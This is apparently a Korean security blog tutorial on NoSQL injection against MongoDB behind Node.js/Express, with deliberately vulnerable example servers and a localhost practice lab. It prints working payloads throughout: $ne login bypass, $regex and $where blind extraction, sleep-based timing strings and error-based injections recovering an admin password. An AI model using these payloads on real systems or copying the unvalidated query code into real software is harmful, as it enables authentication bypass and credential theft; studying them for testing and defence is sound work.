- MariaDB
- JSP
- CVE-2022-22965
- Frida
- HackTheBox
- HackTheBox APKey
- XALZ 압축해제
- UnCrackable level 1
- mstg
- login form
- getCachedIntrospectionResults
- UnCrackable
- File Upload
- Android Backup
- CVE-2014-0094
- Android 6.0
- PortSwigger
- CVE-2010-1622
- NoSQL
- HacktheBox Mobile
- Directory traversal
- xss
- nginx
- mongoDB
- blind sql injection
- Xamarin 분석
- Hackthebox cat
- SeeTheSharpFlag
- DOM
- JAVA ClassLoader 취약점
- Today
- Total
끄적끄적
[NoSQL] SQL Injection (상) 본문
개요
NoSQL Injection은 SQL Injection과 마찬가지로 이용자의 입력값이 쿼리에 포함되서 발생하는 취약점이다. MongoDB(NoSQL)은 기존 SQL의 데이터 자료형(정수, 날짜, 문장려)외에도 오브젝트, 배열 타입을 사용할 수 있다. 특히 오브젝트 타입의 입력 값을 처리할 때 쿼리 연산자를 사용할 수 있는데, 이를 통해 다양한 행위가 가능하다.
본 포스팅에서는 NoSQL Injection에 대한 개념과 Blind NoSQL Injection에 대해 다뤄보고자 한다.
MongoDB
URL에서 Query 데이터를 추출(Express)
const express = require('express'); //Nodejs의 Express Module 사용
const app = express();
app.get('/', function(req,res) {
console.log('data:', req.query.data); //쿼리에서 데이터 파싱 후 출력
console.log('type:', typeof req.query.data); //데이터 Type 확인 후 출력
res.send('hello world');
});
const server = app.listen(3000, function(){ //PORT 3000, Web Server Open
console.log('app.listen');
});
Object 데이터 타입 확인
http://localhost:3000/?data=1234
data: 1234
type: string
http://localhost:3000/?data[]=1234
data: [ '1234' ]
type: object
http://localhost:3000/?data[5678]=1234&data=0000
data: { '5678': '1234', '0000': true }
type: object
User Collection에서 이용자가 입력한 데이터를 찾고 출력
이용자의 입력값에 대한 타입을 검증하지 않기 때문에 Object 타입의 값 입력 가능
const express = require('express');
const app = express();
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true }); //MongoDB 연결
app.get('/query', function(req,res) { //query URL 접근을 GET 방식으로 처리
db.collection('user').find({ //user Collection의 데이터 조회
'uid': req.query.uid, //이용자의 요청에 대한 uid(아이디) 값
'upw': req.query.upw //이용자의 요청에 대한 upw(패스워드) 값
}).toArray(function(err, result) { //에러처리
if (err) throw err;
res.send(result);
});
});
const server = app.listen(3000, function(){ //PORT 3000 Web Server OPEN
console.log('app.listen');
});
공격 구문
$ne(Not Equel) 연산자를 이용해 'a'가 아닌 데이터를 조회
http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a
결과:[{"_id":"5ebb81732b75911dbcad8a19","uid":"admin","upw":"secretpassword"}]
위 요청은 GET 방식을 사용하였지만, POST 방식으로 JSON에 데이터를 담아 처리하는 경우도 있다.
실제 쿼리
해당 쿼리에서 $ne 연산자와 'a'의 조건의 구조를 정확하게 숙지 하는 것이 중요하다.
> db.user.find( { $and: [ "uid": { "$ne": "a"}, upw: { "$ne": "a"} ] } )
Blind NoSQL Injection
MongoDB는 $regex, $where와 같은 연산자를 통해 Blind NoSQL Injection을 수행하여 데이터 베이스의 정보를 획득할 수 있다. 이외 연산자는 Reference의 공식 문서를 참고하길 바란다.
연산자
Name | Descreption |
$expr | 쿼리 내에서 집계식 사용 |
$regex | 정규식과 일치하는 문서 선택 |
$text | 지정된 텍스트 검색 |
$where | Javscript 표현식을 만족하는 문서 선택 |
$regex
정규식을 통해 일치하는 데이터를 조회하는 예제는 아래와 같다.
> db.user.find({upw: {$regex:"^a"}}) //a로 시작하지 않는 데이터 조회
> db.user.find({upw: {$regex:"g"}}) //g가 포함된 데이터 조회
$where
인자로 전달한 JavaScript 표현식을 만족하는 데이터를 조회
> db.user.find({$where:"return 1==1"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
> db.user.find({uid: {$where:"return 1==1")}) //Field에서 사용할 수 없는 연산자
error: {
"$err" : "Can't canonicalize query: BadValue $where cannot be applied to a field",
"code" : 17287
}
substring
substring 연사자를 이용하면 Blind SQL Injection에서 한 글자씩 데이터 값을 확인했던 것과 같이 사용할 수 있다.
> db.user.find({$where: "this.upw.substring(0,1)=='a'"}) //user Collection의 upw의 첫 번째 글자가 'a'인 데이터가 존재하는지 확인
> db.user.find({$where: "this.upw.substring(0,1)=='b'"}) //user Collection의 upw의 첫 번째 글자가 'b'인 데이터가 존재하는지 확인
> db.user.find({$where: "this.upw.substring(0,1)=='c'"}) //user Collection의 upw의 첫 번째 글자가 'c'인 데이터가 존재하는지 확인
...
> db.user.find({$where: "this.upw.substring(0,1)=='g'"}) //user Collection의 upw의 첫 번째 글자가 'g'인 데이터가 존재하는지 확인
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" } //일치하는 결과 Return
Sleep
지연시간을 통해 참/거짓 결과를 확인할 수 있다.
db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`});
//위와 같은 쿼리 구문일 때
//첫 번째 글자가 일치할 경우 5초의 Sleep
Requset 1: /?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1
Requset 2: /?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1
Requset 3: /?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1
Requset 4: /?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
=> 시간 지연 발생.
Error Based Injection
올바르지 않은 문법을 고의로 입력하여 에러를 발생시킨다. AND 연산을 통해 앞의 조건이 정상적인 쿼리로 동작하였는지 확인할 수 있다.
//패스워드를 알아내기 위한 쿼리 구문
Request 1: /?uid=guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1
//실제 쿼리 구문
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
error: {
"$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",
"code" : 16722
}
// 참: this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
// 거짓: this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음
실습
- 목표: 데이터베이스에 존재하는 "admin" 계정의 비밀번호를 획득
const express = require('express');
const app = express();
app.use(express.json());
app.use(express.urlencoded( {extended : false } ));
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
app.get('/query', function(req,res) {
db.collection('user').findOne({
'uid': req.body.uid,
'upw': req.body.upw
}, function(err, result){
if (err) throw err;
console.log(result);
if(result){
res.send(result['uid']); //True: uid Return
}else{
res.send('undefined'); //False: undefined Return
}
})
});
const server = app.listen(80, function(){
console.log('app.listen');
});
예제 쿼리 구문
값이 존재할 시 "uid" 값인 guest 리턴
Requset: /query?uid=guest&upw=guest
{"uid": "guest", "upw": "guest"}
> guest
admin 계정의 패스워드 길이 확인
$regex 사용
//False
{"uid": "admin", "upw": {"$regex":".{6}"}}
> undefined
//True
{"uid": "admin", "upw": {"$regex":".{5}"}}
> admin
admin 계정의 비밀번호 획득
$regex 사용
//true
{"uid": "admin", "upw": {"$regex":"^a"}}
admin
//false
{"uid": "admin", "upw": {"$regex":"^aa"}}
undefined
//false
{"uid": "admin", "upw": {"$regex":"^ab"}}
undefined
//true
{"uid": "admin", "upw": {"$regex":"^ap"}}
admin
...
{"uid": "admin", "upw": {"$regex":"^apple$"}}
마치며
NoSQL Injection에 대한 자세한 내용은 Reference [3]의 Cheat Sheet를 참고하길 바란다.
Reference
'Security > Database' 카테고리의 다른 글
[NoSQL] MongoDB, Redis, CouchDB (0) | 2022.03.04 |
---|